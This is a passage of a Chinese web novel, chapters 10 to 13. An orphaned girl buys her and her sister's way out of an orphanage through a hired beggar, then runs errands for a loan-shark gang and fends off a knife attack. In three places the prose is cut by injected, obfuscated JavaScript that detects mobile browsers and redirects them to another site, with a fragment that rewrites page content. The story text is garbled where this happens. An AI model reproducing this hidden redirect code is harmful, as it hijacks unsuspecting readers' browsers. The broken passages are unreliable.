一声吆喝瞬间拉回了阮云琛的思绪。眼前坐在块破棉被上的女人不耐烦地嚷着。 她的头发打了一股又一股的绺儿,脸上手上全是垢泥。她身上的牛仔夹克和西装裤明显小了一截,左右不成套的鞋袜连长短大小都不一致。 女人面前还有个瘪了好几处的不锈钢碗。 碗里一共也没几个钢镚儿,一毛五毛散散拉拉地堆在那儿,数量最多的是一分,但仔细一数,估摸着也不超过六枚。 阮云琛咽了口气。 “我这有一笔钱,我需要你帮我办一件事。事成了,钱全归你。”她说。 10. 逃离 阮云琛并没有让这要饭的女人去做什么违法乱纪的事情。 她只是需要对方假扮成体面的领养人,把她和阮淼淼一起赎出福利院罢了。 领养一人要给福利院三千,阮云琛在这四年里一共攒下了总计九千。六千作为领养费,三千作为佣金——对一个要饭的人来说,足够了。 至于这钱是怎么来的、从谁那儿来的......除了给宋祈干事儿,也不可能有第二个渠道。 “你需要钱吗?”阮云琛问道。 女人抬起头,眯着眼扫了她一眼,眼神懒散却带着几分嘲弄:“废话,你看我像不需要?” “那我们做个交易。” “什么交易?”女人似乎来了点兴趣,靠着墙懒洋洋地问。 阮云琛伸手从兜里掏出一叠皱巴巴的钞票,纸张被攥得发软,边角卷曲得像废纸,但分量足够吸引目光。女人的眼神瞬间亮了几分,却很快被谨慎和戒备盖住。 “这些钱归你,”阮云琛说,“但你得帮我办一件事。” 女人挑了挑眉,嗤笑了一声:“你耍我呢?” “够你吃几个月饭了。”阮云琛语气平静,像是在陈述一个客观事实,“我要你假装是领养人,把我和我妹妹从福利院领出来。一切流程我来处理,你只需要签字。” 女人怔了一下,忽地放声大笑,笑声里透着调侃,可直到她笑够了,余光看到阮云琛紧绷着的脸,才蓦地察觉到事情不对:“你是......认真的?” “当然。”阮云琛说,“三千块,事情成了之后我们互不相欠。” 女人闻言愣了一下,随后看她的眼神里多了点狐疑:“你是从哪儿冒出来的?哪家孩子这么缺心眼?” “你可以拒绝。”阮云琛的语气不疾不徐,“但如果你接受,这些钱就是你的。” 就这么对峙了几秒,女人低低骂了句粗话,伸手一把抓过那叠钞票,攥紧在手里,像是抓住了最后的稻草。 “行吧,我试试。反正天塌下来砸的不是我。”她嘟囔着,却不敢看阮云琛的眼睛。 “如果事情办不成,”阮云琛补充道,“我会拿回这些钱。” 女人嗤笑了一声,扬了扬手里的钱:“你觉得你能抢得回去?” 阮云琛没接话,只是看了她一眼,随后转身离开,脚步平静又坚定。她知道自己已经赢了。 福利院压根不会在乎来领养的人是谁。 没有背景审查,没有资金流水证明,只要来的人给够了钱,他们就能把福利院里的孩子“卖”了。 哪怕来的是个乞丐,他们也能毫无顾忌地把人交出去。 但为了以防万一,阮云琛还是给那个叫“高倩”的流浪汉开了个钟点房,叫她收拾一下自己,并给她准备了身还算得体的衣裳。 尽管看着还是一脸的疲惫和厌倦,但起码人模人样的。 签字的时候,院长低头看着表格,头都没抬,只歪着身子找着公章。 整个领养的过程不超过十分钟,其中八分钟都是方琴在找东西——淮龙福利院,也确实是没什么人愿意来领养孩子。 整个淮龙市都及不上三线城市的标准,人人都忙着自己的家务事,又怎么可能有那种闲工夫去外面大发善心。 方琴往上翻着眼睛盯着高倩,她那老花眼好半天才对上焦。隔了会儿,她才说:“我们淮龙福利院不负责办理转户口手续,需要把她户头挂你名下的话,自己上民政局弄去。” 高倩敷衍地点着头,嘴里含糊应着:“好,好。” 方琴把材料挨个盖好了章,高倩忙不迭地就给拿了走。这个流浪汉女人甚至心情很好地拉着阮云琛和阮淼淼的手,把她们带回了宿舍:“去把自己的东西收拾收拾,咱出去咯。” ——表现得跟真的要领养她们似的。 同屋的人纷纷露出了羡慕的神色,那先前总爱给阮云琛使绊子的蒋翠儿也透过被子缝儿悄悄地看了过来。 阮云琛不是很适应这种被人盯着看的感受。 她快速地把洗漱用品和几件早就穿旧了的衣服囫囵塞进了帆布袋子里,拉着淼淼就冲出了宿舍。 高倩悠哉悠哉地看了圈屋子里藏在床杆后的小孩儿们,吹了声口哨,踢着脚上没好好穿的皮鞋走了出去。 一出福利院的大门,高倩牵着阮云琛和阮淼淼进了旁边的小巷,伸出手掌,眼神贪婪:“尾款呢?” 阮云琛抬眼看了她一下,从口袋里掏出剩下的两千块钱。高倩一把夺过了钱,往手指上吐了口唾沫,一张一张地数了起来。 她来来回回数了不下三十遍,直到那红票子都给数得卷了边,高倩才满意地把钱塞进兜里。 只是她看向阮云琛的眼神突然就变了。 “你身上是不是还有钱?” 高倩拖长了声音,站直了身子。她的脸上仍带着一副笑模样,可眼底却带着一丝贪婪的光,“把剩下的拿出来吧,别让我动手。” 阮云琛缓缓抬头看了她一眼。 “我身上已经没钱了。”她说。 高倩显然不信。 她响亮地嗤笑了一声,猛地伸手去抓阮云琛的帆布袋。那动作快得几乎没有犹豫,但她—— 她低估了阮云琛的反应速度。 阮云琛的手在半空中迎了上去,精准地抓住了高倩的手腕。她的力道不大,却像钢钳一样,让高倩无法挣脱分毫。 高倩愣了一下,随即反应过来,另一只手立刻挥了过来,试图挣扎。阮云琛侧身避开,反手一扣,瞬间将她的手扭到了背后。 “嘶——”高倩痛得倒吸了一口凉气,脸色瞬间白了,额头上渗出了一层冷汗,“松手!你这是干什么!” 阮云琛语气平静:“我说了,没有钱。” 她微微用力,手上的力道透过关节传到高倩的骨头上,那种撕裂般的疼痛让高倩几乎站不住脚。 “别别别!松手!我不抢了!我不要了!我不要了还不行吗!”高倩语气带了几分颤抖,终于开始求饶。 阮云琛冷冷地看了她一眼,手上的力道缓缓松开,但仍旧保持着高度戒备。 “记我们的交易已经结束了。”她的声音不高,却透着不容置疑的威慑力,“如果你再试图动什么歪心思,下次我不会手下留情。” 高倩狼狈地揉着自己的手腕,咬牙切齿地瞪了阮云琛一眼,却没有再多说什么。她知道,眼前这个瘦小的女孩,根本不是她能招惹的对象。 她低声骂了几句粗话,灰溜溜地转身走了,脚步带着几分慌乱。 阮云琛看着她的背影,眼底闪过一丝冷意。她牵起了阮淼淼的手,低头看了一眼身边的小女孩,却发现她挣扎大眼睛看着自己,细软的手指却始终抓着衣角没松开。 “吓到了?”阮云琛语气尽量平静,压低了声音,像是怕把对方吓跑一样。 淼淼的眼睛里澄澈得一如既往。她的小脸上没有一丝恐惧,反而带着点疑惑:“姐姐怎么会吓到我呢?姐姐是保护我的。” 阮云琛脚下一顿,随即缓缓蹲下身,像是想确认什么似的,仔细地看着她的表情。 “我那么凶,你真的一点都不怕?”阮云琛的声音轻得像叹息,带着些不自觉的试探。 淼淼眨了眨眼睛,似乎觉得这个问题有点奇怪:“姐姐凶一点是好事啊,这样坏人就不敢欺负我们了。” 阮云琛的喉咙像是被什么堵住了一样,想要开口,却半天没发出声音。 “再说了,”淼淼又补了一句,稚嫩的声音轻飘飘的,却带着莫名的笃定,“姐姐厉害得很,她才不敢怎么样。” 阮云琛低头,手指轻轻掸了掸淼淼额前的碎发,像是确认她确实没有被吓着。 “可是姐姐也会害怕。”她低声说,像是在自言自语,又像是在解释。 “那我保护姐姐。”淼淼抬起小脸,认真地看着她,眼神里带着不容拒绝的坚定。 阮云琛笑了一声,很轻,几乎没什么起伏,像是一滴雨水坠进了一片寂静的湖泊。她摸了摸淼淼的头,没有说话。 ——六岁的小孩,又会说什么谎言? 即使那真的是谎言,阮云琛也愿意相信。 淼淼眯着眼笑起来,眉眼弯弯,露出两颗小虎牙。 “那姐姐现在还怕吗?”她凑近了一些,小脸上全是好奇。 阮云琛笑了笑,低头看着她,声音柔得不像她:“走吧,回家。” “家?”淼淼的声音里有一丝疑惑。这个字对她而言,已经模糊得快要没有具体含义。 阮云琛低头看了她一眼,没有解释。她牵着妹妹的手,沿着窄巷朝记忆中的方向走去。 狭窄的巷子里堆满了垃圾,空气中弥漫着一股霉味和煤气的气息。 四年的时间,巷子的光景似乎没什么变化,却又完全不同了。 空气里依然弥漫着湿漉漉的霉味,还有熟悉的煤气味,仿佛整个街区都泡在一种沉闷的压抑里,动弹不得。 摊贩的吆喝声比记忆中更嘈杂,也更疲惫。偶尔能听到自行车铃声从巷口远远传来,又迅速消失在另一头。 阮云琛背着淼淼,朝着记忆中的楼走去。 淼淼的两只小手环在她脖子上,拎着一袋刚从小摊上买来的豆浆。豆浆的袋子薄薄软软的,透过热乎的温度,淼淼的手指被烫得微微蜷缩着。 “姐姐,这是什么味儿呀?”淼淼轻轻嗅了嗅,声音里带着浓浓的好奇。 阮云琛没有停下脚步,只是抬头看了一眼前方昏暗的街道:“是煎饼摊的味儿。” “香香的。”淼淼满意地嘟哝了一声,垂头喝了一口豆浆,热气扑到她脸上,小鼻子皱了皱。 阮云琛听着她吸管咕嘟咕嘟的声音,嘴角似乎微微动了一下,像是笑,又像只是疲惫的牵动。 “别晃,抓稳了。”她说了一句,手却悄悄往后摸了一下,扶住了淼淼的膝盖。 淼淼咬着吸管没说话,眼睛却被街边的各种摊子吸引得转来转去。忽然间,手里软滑的豆浆袋子一个没抓稳,袋口一歪,豆浆滴滴答答地洒了出来。 “啊——”淼淼低声惊呼,想去抓,却越弄越糟,豆浆顺着袋口一路流下来,滴在巷子湿漉漉的地上。 奶白色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“姐,这是家吗?”淼淼抬头看着破败的筒子楼,眼里满是陌生和困惑。 “是。”阮云琛点了点头,拖着疲惫的身体爬上楼梯。淼淼乖乖跟在后面,手里还紧紧攥着已经喝空了的豆浆。 到了熟悉的门前,阮云琛从口袋里掏出了一把锈迹斑斑的钥匙。 ——这是阮启明留下的为数不多的家产之一。 或者说,这是她们的妈妈白清和留下的,是她工作的幼儿园分配的家属房。 这也是唯一一个没有被阮启明挥霍光的东西了——但也被抵押给了宋祈。 为了借钱买酒。 只是阮云琛从未想过,这把早已废弃的住所的钥匙,却成为了她们唯一能遮风避雨的地方。 她把钥匙插进锁孔,试探着转动,门锁意外地“咔哒”一声打开了。 门内的空气带着几分陈年的潮湿气息,地上散落着父亲留下的酒瓶和烟蒂。墙角堆满了灰尘,家具上盖了一层厚厚的灰,甚至能清楚地看到上面爬过的老鼠脚印。 当初阮启明死去时溅得到处都是的血已经被清理干净了,阮云琛不知道是谁清理的,可能是警察找的人,也可能是……宋祈。 那个男人…他当然不可能想要抵押在他手里的房子里这么晦气连天,要说他找人来查房并大发善心地清理了一番,也不无可能。 血迹虽没了,东西倒还乱着,屋子里满是灰尘味和弥留不散的酒臭,即使过去了四年,也依旧刺鼻得很。 “姐,这里能住吗?”淼淼小声问,声音里藏着几分害怕。 “能。”阮云琛用袖口擦了一下鼻尖,深吸一口气,“以后,这就是我们的地方了。” 她找来破布和水桶,开始打扫屋子。 淼淼看着阮云琛的动作,试探着拿起一块破布,帮忙擦拭墙角的灰尘。她们忙了整整一下午,总算让这间破败的小屋恢复了些许人气。 天色渐暗,窗外的吆喝声逐渐停息,楼道里传来零星的脚步声。阮云琛坐在已经清理干净的木椅上,目光落在窗外,手里握着一张小小的零钱票,细数着她仅剩的钱。 “姐,我们会再回去福利院吗?”淼淼突然问。 “不回去了。”阮云琛低声回答,眼神里透出一股连她自己都没察觉到的坚定。 “那以后我们会好吗?”淼淼睁着大大的眼睛看着她,稚嫩的脸上带着几分不确定。 “会的。”阮云琛的声音很轻,但话语里的决心像是从骨子里生长出来的,“会好的。” 夜色彻底降临,窗外的风声渐渐平息。 阮云琛摸了摸淼淼的头,将她抱到床上,用唯一的一条毯子把她裹紧。自己则坐在床边,听着淼淼渐渐平稳的呼吸声,目光沉沉落在天花板上。 她知道,脱离福利院不过是第一步。 前方的路仍旧漫长而充满荆棘。 但她...... 她一定能找到办法的。 11. 工作 客运站一如既往地人声鼎沸,广播里机械重复的提示音像单曲循环一样在大厅里回荡。 阮云琛站在人群中,背着一个看起来毫不起眼的帆布包,指尖随意地勾着背带,低头盯着地砖上的泥印,像是专注地数着那些深浅不一的痕迹。 她的视线余光没有闲着,扫过周围每一张陌生的脸。 宋祈交给她的任务,从来没有多余的解释,今天也一样。 他只说把包送到客运站的储物柜,柜号是“36”,输密码放进去,关上门走人,别问别看。 阮云琛也不想多问。 问得越多,危险越大,她比任何人都清楚。 她的手紧了紧肩带,包的分量比以往沉了不少,隐约能听到细碎的玻璃碰撞声,像在低声提醒她——这里面装的是什么,她心里一清二楚。 穿过大厅,她看到了那排灰色的储物柜,像一面整齐排列的钢铁墙壁伫立在角落。 她放缓了脚步,仔细分辨着柜号,手指快速地在数字键盘上输入密码。、 柜门“啪”地一声打开了。 里面黑黝黝的,仿佛一口吞噬秘密的深井。她把包塞了进去,合上门转身离开,动作干脆利落。 外头的天阴沉得像要下雨,冷风从巷子里呼啸而过,吹起地上的塑料袋。 阮云琛走进一条小巷,脚步放得很轻,像是不愿在这片寂静里留下多余的痕迹。她耳朵捕捉到一点点异常的声音,脚步声,不急不缓地跟在后面。 ……跟踪者? 她心跳略微加快,但脸上的表情没有变化。 她顺手推开巷子旁的一家小商店,玻璃门发出轻微的“叮当”声。她低头假装挑着货架上的饮料,眼神却透过玻璃门的反光观察外面。 一个穿灰色外套的男人从巷子里走了过去,脚步没有停顿,头也没回。 阮云琛的眼神在他的身影上停留了两秒,然后若无其事地放下手里的饮料,绕过商店另一侧的小门离开。 ——虚惊一场。 冷风像刀子一样刮在脸上,阮云琛用力裹紧了身上的外套。 这条路,她已经走过无数次了。 类似的任务,从最开始的紧张不安到现在的轻车熟路,她早已学会在任何环境中屏蔽自己的情绪,像个行走的影子。 她知道自己是什么身份,也清楚自己的边界。 送一批货、带一封信、交一包东西,无论目的地还是用途,她从不问,甚至连好奇都掐死在萌芽里。 越顺从,越安全。宋祈早就教会了她这个道理,而她也很快便学会如何听话却不显得软弱。 一路无事。 宋祈懒懒地倚在车门上,嘴里叼着一根烟,眼神带着三分戏谑。 “你表现得不错。”他掐灭了烟,把一个厚厚的信封随手丢给阮云琛。 阮云琛接过信封,低头看了一眼,没有拆开,直接塞进外套口袋里。 “别太认真啊。”宋祈的声音带着点漫不经心,“别以为做得多就能清得快。债这种东西,总是越还越多。” 阮云琛没有回应,只是转身离开,脚步稳得像一条笔直的线。 风从身后卷来,带着烟草的味道,她却始终没有回头。 巷子里的灯光昏黄,空气中弥漫着煤气和油炸食物的味道。 楼下的摊贩吆喝声此起彼伏,香味和煤气的气味混杂在一起,随着寒风钻进了鼻腔。 阮云琛拎着从摊上买来的两根糖葫芦,另一只手揣在外套口袋里,指尖碰到那封刚拿到的信封,纸张的触感薄而硬,像某种沉甸甸的提醒。 夜色像块蒙在头顶的灰布,街灯发出的橘黄色光线在地面拉出长长的影子。 阮云琛低头看着自己投在地上的影子,走一步晃一步,有些摇摇欲坠。脚步在楼前停了片刻,她仰头看向熟悉的窗台,那上面晒着一块破布,边角被风吹得翻来覆去。 “又忙一天?”一个声音从旁边传来。 阮云琛扭头看过去,刚好看到面摊的老板端着一大框白面从楼里出来,面粉的粉尘在风里轻轻飘散,混着灰味土味,名有点儿呛鼻。 万秀的目光随意地扫过阮云琛手里的糖葫芦,眼神里带着点复杂,说不上是冷漠还是质疑。 “是,跑腿活儿。”阮云琛点点头,把糖葫芦藏到身后。 她也不知道自己为什么要藏,就好像这两根糖葫芦是什么见不得人的东西似的——但确实也是她做了些见不得人的事得来的东西。 万秀撇了撇嘴,似乎对这个答案并不满意,却也没有多问,端着框子绕进了巷子深处。 阮云琛站了一会儿,看着万秀的背影消失在巷口,然后抬脚踏上楼梯。 楼梯昏暗,灯泡悬在天花板上,光线像随时可能熄灭的火苗。她的脚步踩在混凝土的台阶上,鞋底摩擦出轻微的“沙沙”声。 墙角的蛛网一动不动,楼道的铁扶手冰凉刺骨,几处油漆剥落,露出锈蚀的金属内里。 阮云琛的手在扶手上划过一瞬,又迅速缩了回去。 ——那扶手,凉得刺骨。 楼道里特有的霉味让她下意识屏住了呼吸,心底控制不住地浮现出一种疲惫感,像是沉积了很久的灰尘,扑簌簌地落下来,压在心头。 “小心点儿,楼梯滑。” 忽地一声提醒从上头传来,阮云琛抬头看去,是......程一冉。 对方手里提着一个装满书的袋子,肩膀微微下沉,显然那沉甸甸的重量压得她有些吃力。 程一冉是这栋楼里为数不多还没有搬走的邻居之一,她家就住在楼上。 当初阮云琛刚带着淼淼回到这里时,程一冉第一眼看到她,眼神里藏着显而易见的疑问和一丝戒备。 那个时候她正好站在楼梯间挂衣服,动作顿了一下,目光像是被什么无形的东西吸引住了一般。 阮云琛知道她想问什么。 无非就是“你怎么回来了?”或者“福利院的孩子不是不能随便跑出来吗?”......等等此类毫无意义的问询。 只是这些问题程一冉不会直接问出来。 阮云琛知道她向来是个谨慎,懂得与人保持界限。 阮云琛也不打算解释。 “我是说......那个,”程一冉目光从阮云琛的脸上扫过,又迅速收了回,“晚上外面挺乱的,你......平时注意安全。” 阮云琛点了点头,没有多说什么,只是握紧了手里的糖葫芦,继续往上走。 她推开家门时,屋里的灯光昏黄。淼淼正趴在小桌子上写字,肩膀一耸一耸的,嘴里念念有词,似乎在背课文。 听见门响,她立刻抬起头,眼里亮着光:“姐!” “嗯。”阮云琛把糖葫芦从背后拿出来,递给她。 淼淼的眼睛更亮了些,伸手接过糖葫芦,小心翼翼地捧在手里,像是得到了某种稀世珍宝。她仰起头,一字一顿地问:“姐,今天工作累吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14830929|158973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阮云琛看着她,强压下了浑身叫嚣着的疲惫,笑了笑:“不累。”她摸了摸淼淼的头,声音轻了些,“快吃吧,吃完睡觉,明天还得上学。” 淼淼乖乖点头,把糖葫芦小心地放到一旁,继续趴回桌前写字。 阮云琛走到桌边坐下,靠在椅子上,目光落在桌上的零钱和淼淼的课本上。 她从口袋里掏出信封,把里面的钱一张张地摊在桌上,粗略数了数,又把它们仔细地叠好,放进一个旧铁盒里。 风从窗缝里钻进来,吹动了桌角的作业本。阮云琛抬手压住本子,手指无意间碰到封面上的名字。 她顿了顿,视线缓缓转向窗外。 夜色正浓,楼下的摊贩吆喝声仍旧吵闹。 窗子正底下程一冉家里面摊的味道香得扑鼻,一路透过窗户直直蹿进屋内。阮淼淼贪婪地抽着鼻子闻了会儿,什么也没说,又低头写起了作业。 淼淼正在上一年级。 她上的就是隔了两条巷子的淮龙市立小学,学费不算太低......但也好在没有太高。 起码只要多干几次活,还是能......还是能付得起的。 阮云琛闭了闭眼,缓缓吐出一口气。所有的疲惫、紧张和未知,都藏在这口气里,悄无声息地消失在寂静的夜风中。 第二天清晨,天刚蒙蒙亮,薄雾笼罩着城市,空气里还残存着些许夜晚的寒意。 阮云琛从家里出来,肩膀上斜挂着一只帆布包。风吹过楼道的铁扶手,发出轻微的“嗡嗡”声,像旧楼喘着一口长气。她的手插在口袋里,握着几张薄薄的零钱,掌心冰凉,身上的寒意却始终压不下。 街道上稀稀拉拉的行人和小贩把街角的摊位点缀得有些零乱。摊主刚升起的烟火气还没把寒冷驱散,空气中飘着一股温热的油香,摊贩的吆喝声夹杂着锅铲敲击的响动。 阮云琛习惯性地低着头走路,目光不经意地扫过街边的纸屑和水迹。 她没什么急事。 今天的任务简单得几乎没有挑战性——只是替宋祈送一封信而已。 送到哪里,对接谁,信里写了什么,她不问,也没必要问。 问得太多,无非是给自己找不痛快。 这样的小差事,她做了太多次,早已轻车熟路,甚至连途中需要避开的几个巷口都在脑海里画出了一张地图。 风从桥洞穿过,带着凉意,像某种熟悉的低语。桥边的水泥墙上依旧是那片斑驳的裂纹,像伤疤一样横亘着,阮云琛的脚步不自绝地顿住了。 她的目光不由自主地转向了一个熟悉的角落。 ——那个孩子还在。 他蹲在地上,旁边有条破旧的毯子,毯子的边缘湿了一大片,可能是浸了积水。 那孩子的身体瘦得单薄,头发杂乱,侧脸在灰白的天光下显得棱角分明。 他低着头,手里拿着一块废铜,用小锤子细细地敲打着,清脆的“叮叮”声和寒风搅在一起,冷冽得像冰面上的裂痕。 他有......六岁了? 还是七八岁? 阮云琛不知道。 她只觉得那孩子瘦得可怕,瘦得...... 像当初满心只想着杀死阮启明的自己一样。 男孩的动作极其专注,敲打的频率几乎没有任何变化。他的衣服破旧得不成样子,但那双手却干净利落,像是一件工具,而不是一个孩子的手。 他似乎察觉到了什么,忽地抬起了头。 12. 邻居们 那双眼睛太亮了,亮得几乎不像这个角落里该有的东西。清澈,平静,像冰面下冻结的水流,没有任何乞求,也没有玉.望。 阮云琛愣了一秒。 她迅速移开视线,快步走了开。 锤子的敲击声重新响了起来。 脚下是啪嗒啪嗒的泥水飞溅的声音,这声音又被桥下的风声吞没,仿佛什么也没有发生。 送信......对,送信。 阮云琛已经不记得这是第几次跑这种活了,送包、递信、带句话,简单到不能再简单。可...... 可在宋祈手下做事,所谓“简单”,从来都只是说给刚入行的人听的幌子。 仅仅几年时间,宋祈的“和安堂”已经壮大到几乎是淮龙区地头蛇的程度。 高利贷,买卖枪械,非法集资......除了黄赌毒,他们几乎什么都沾点儿边。 宋祈的和安堂如今在淮龙区几乎是家喻户晓的名字,低到街头巷尾的闲话,高到某些见不得光的饭局,无一不绕着它转。 这个几年前还只是□□的小组织,现在却像藤蔓一样攀上了更大的树。高利贷只是起步,买卖枪械、非法集资,甚至有人低声提到过走私车队。传言里的和安堂,像是一张巨网,将淮龙区这片人情和生意的交错织得密不透风。 但警察就像是什么都看不见似的,对他们的存在只是睁一只眼闭一只眼。 阮云琛穿过巷口,快步踩在积水的青石板上,溅起微微的水花。风里卷着煤气和炸串的味道,熟悉又令人反胃。她低头看了一眼自己脚边的影子,在地面上被拉得很长,像是一个从来甩不开的影随。 几只流浪猫躲在垃圾堆旁翻腾着塑料袋,发出一声声细碎的响动。 信封藏在帆布包里。 信封的封口处用厚厚的胶带黏死,厚厚的一打,也不知道里面究竟是什么东西。 阮云琛没有打开看的习惯,也没有好奇的念头——这世上很多事,看得多了,只会让自己麻烦。 宋祈让做什么,那做就完了。 阮云琛并不想某一天回家之后发现那早就抵押走了的房子就此回到宋祈手里,更不想在那死过人的房间里...... 看到淼淼出现任何意外。 这条路,是她选的。 要走下去的,也只能是她一个人。 车站不远,阮云琛很快到了约定地点。 她站在墙角等了一会儿,一个男人提着包走了过来。他的动作很快,像是一个匆匆过客,只是在经过她身边时,低声丢了一句:“送去西巷第三家,到了直接敲两下。” 阮云琛接过包,没说话,转身就走。脚步平稳,目光在不经意间扫过周围。 巷子里的路很窄,两旁的建筑显然年久失修,斑驳的墙面裂出一道道蜘蛛网般的裂缝。 路上没什么人,只有一个修鞋的老汉守着摊子打盹。风把他的破布摊吹得翻起一个角,露出底下的工具。 西巷第三家是一家老茶馆。 茶馆在城西的旧街,门口挂着两盏红灯笼,灯笼上的漆已经剥落,露出斑驳的木胎。 阮云琛推开门,里面的光线昏黄,空气里弥漫着陈旧的茶香和淡淡的烟草味。柜台后,一个穿着棉袄的男人抬起头看了她一眼,随即点了点头。 她走过去,把帆布包放在柜台上,没有多说一句话。 男人接过包,低头翻了翻,确认无误后从抽屉里拿出一个信封递给她。信封很厚,分量不轻。阮云琛接过信封,转身就走。 门外的风更加凛冽了。 天色已经亮起来,但街上的人依旧稀少。阮云琛将信封塞进外套口袋,刚要转入巷道时,身后传来一阵凌乱的脚步声。她的心一紧,下意识地回头看去。 一个穿着黑色夹克的男人从拐角处冲了出来,手里握着一把匕首,目光直直地锁定在她身上。 阮云琛几乎没有任何犹豫,转身就跑。 巷道狭窄,两边堆满了废弃的杂物,她的脚步踩在地上的破碎瓦片上,发出急促的声响。身后的脚步越来越近,她乍地一个转身,躲进了巷子深处的阴影里。 男人冲到巷口时愣了一下,四下张望。 他的手紧紧握着匕首,目光阴狠,像是在找猎物。阮云琛屏住呼吸,躲在一堆木板后面,手指慢慢摸向腰间——那里藏着一把小巧的折叠刀。 男人似乎察觉到了什么,向着她的方向走了过来。阮云琛的心跳得很快,但表情依旧冷静。她等到男人靠近,突然从阴影里冲了出来,折叠刀毫不犹豫地刺向对方的手腕。 男人闷哼一声,匕首掉在地上。 他伸手去抓她的肩膀,阮云琛灵巧地躲开,反手一脚踹向他的膝盖。男人踉跄着倒退几步,撞在墙上,发出沉闷的响声。 阮云琛没有再给他反击的机会,她迅速捡起匕首,抵在他的脖子上,声音冷得像冰:“谁让你来的?” 男人咬紧牙关,一语不发,眼底却闪过一丝狠意。 他猛地伸手,从口袋里抽出一把小刀,朝她挥去。阮云琛的身体迅速往后一仰,刀刃擦着她的肩膀划过,留下了一道刺痛的血痕。 疼痛让她倒吸了一口凉气,但她没有退缩,反而更快地出手。反手一挥,抬脚就把男人手里的那把小刀给踢了飞,逼得男人后退了几步,撞在墙上喘着粗气。 阮云琛的左手按住流血的伤口,血液顺着指缝渗出,染红了她的衣袖。她握紧折叠刀,再次逼近,目光里没有一丝退让。 “够了。”她的声音低沉而冷硬,“再动一下,你的后果你自己清楚。” 直到这会儿,阮云琛才发现这个二十岁出头男人,眼神里藏着的,是无尽的愤怒与决绝。 “还记得我吗?”男人低声嘶吼,呼吸紊乱得像脱缰的野兽。 阮云琛借着昏黄的路灯看清了他的脸。她混乱的脑海中忽地闪过一个画面——破旧的鞋铺,鞋匠佝偻着背,颤抖着递上一双补好的旧鞋。 他当时说...... 他当时说了什么来着? 再宽限几天,求求您,这两天就能凑到。 “再宽限几天,求求您,这两天就能凑到。” 男人的声音与脑海里老人的话重合在了一起,阮云琛愣了愣,心里忽地一颤。 想起来了...... 想起来了。 北街的老鞋匠没有凑到钱,最终选择了自杀。他的儿子,眼前这个人,显然记得那个日子,也记得是谁来逼的债。 宋祈从来不让阮云琛直接插手讨债的活。 他说得倒是冠冕堂皇,说她年纪不到,说她经验不足,说她只要站 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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渐渐地,他捂住了脸,缓缓地靠着墙滑了下去,蹲在了地上,像个即将溺水的人。 “杀了我吧......杀了我吧,”他哭着喃喃喃喃道,“反正你.....最后也会带我去见你们那个老板。” 阮云琛的视线落在地上的刀上,血迹在昏黄的灯光下显得格外刺目。她低头看着这个男人,一时间没有动。 带去见宋祈?那就是死路一条。 放了他?那同样可能是一场隐患。 “淮龙不是没有警察。”她缓缓开口,语气平静得像是在讨论天气,“你比我大很多,你比我懂得也更多,你......还有别的选择。” 阮云琛转身便离开了,脚步没有丝毫犹豫。男人愣了一瞬,抬起头,眼里有些不可置信。可他没有再追上来。 一路小跑到主街时,阮云琛才放慢脚步,捂着刚才被擦伤的肩膀,眉头紧紧皱着。上衣被划开了一个口子,血迹正在迅速晕开。 阮云琛深吸了几口气,从帆布包里掏出了雨衣,草草地穿在了外头。 宋祈的车停在街角,他正靠在车门上抽烟,看到阮云琛时挑了挑眉:“怎么这么久?” 13. 淼淼 “路上出了点事。”阮云琛尽量让自己的语气听起来平静。 肩头已经疼得有些麻了,这样反倒更好——起码失去感觉比无时无刻的痛感更加方便伪装。 宋祈接过信封,随意地翻了翻——里面是厚厚的一打钱。 他直接把那信封丢给了旁边的胖手下,那人忙不迭地接了住,往手指上吐了口唾沫就开始数。来来回回地点了四五遍之后,那胖手下才说:“确认过了,老大,一共五千,没得问题。” “干得不错。”宋祈点了点头,冲阮云琛吐了口烟,笑道,“这还没下雨,就把雨衣给穿上了?” 阮云琛没有回答,只是低头用左手整理了一下衣领,试图掩盖右边肩头的伤口。 好在宋祈并没有注意到她的异常。 他靠在车门边,懒洋洋地掸着烟灰,目光透过墨镜扫了她一眼,似笑非笑地将信封甩了过来。动作漫不经心,带着点施舍的意味。 “拿去吧,辛苦费。”他的语气轻飘飘的,像是在打发一条对他忠心耿耿的狗。 阮云琛接住信封,垂下眼睑,将脸上所有的情绪藏进阴影里。她没有拆开看,只是将它随手塞进外套的口袋,低声答了一句:“知道了。” 宋祈懒懒地勾了勾唇角,没有多说什么。他拍了拍车门示意司机启动车,随即靠回座椅,手指夹着烟,轻轻一弹,烟灰顺着风落到了地上。 阮云琛转身离开,脚步平稳,背影看起来一如既往的冷静。风从耳边呼啸而过,卷起地上的落叶,她的外套被掀开一角,露出隐隐透着血的袖子。 她感觉到那里在隐隐发热,黏腻的触感随着动作渗透到皮肤里,但她没有停下。 天色微沉,街道上的路灯昏黄,打在积雪未化的地面上,映出斑驳的影子。 她垂下眼睛,像是专注于脚下的路,但脑海里却回放着之前的打斗场面。刀刃划过皮肉的感觉,男人咬牙切齿的模样,还有最后离开的那一刻,藏在他眼底的绝望和恨意……一幕幕像旧电影胶片,断断续续地闪过。 阮云琛摇了摇头,试图将这些画面甩开。 她的世界从来不允许这些情绪存在,唯有往前走,才是活下去的唯一方式。 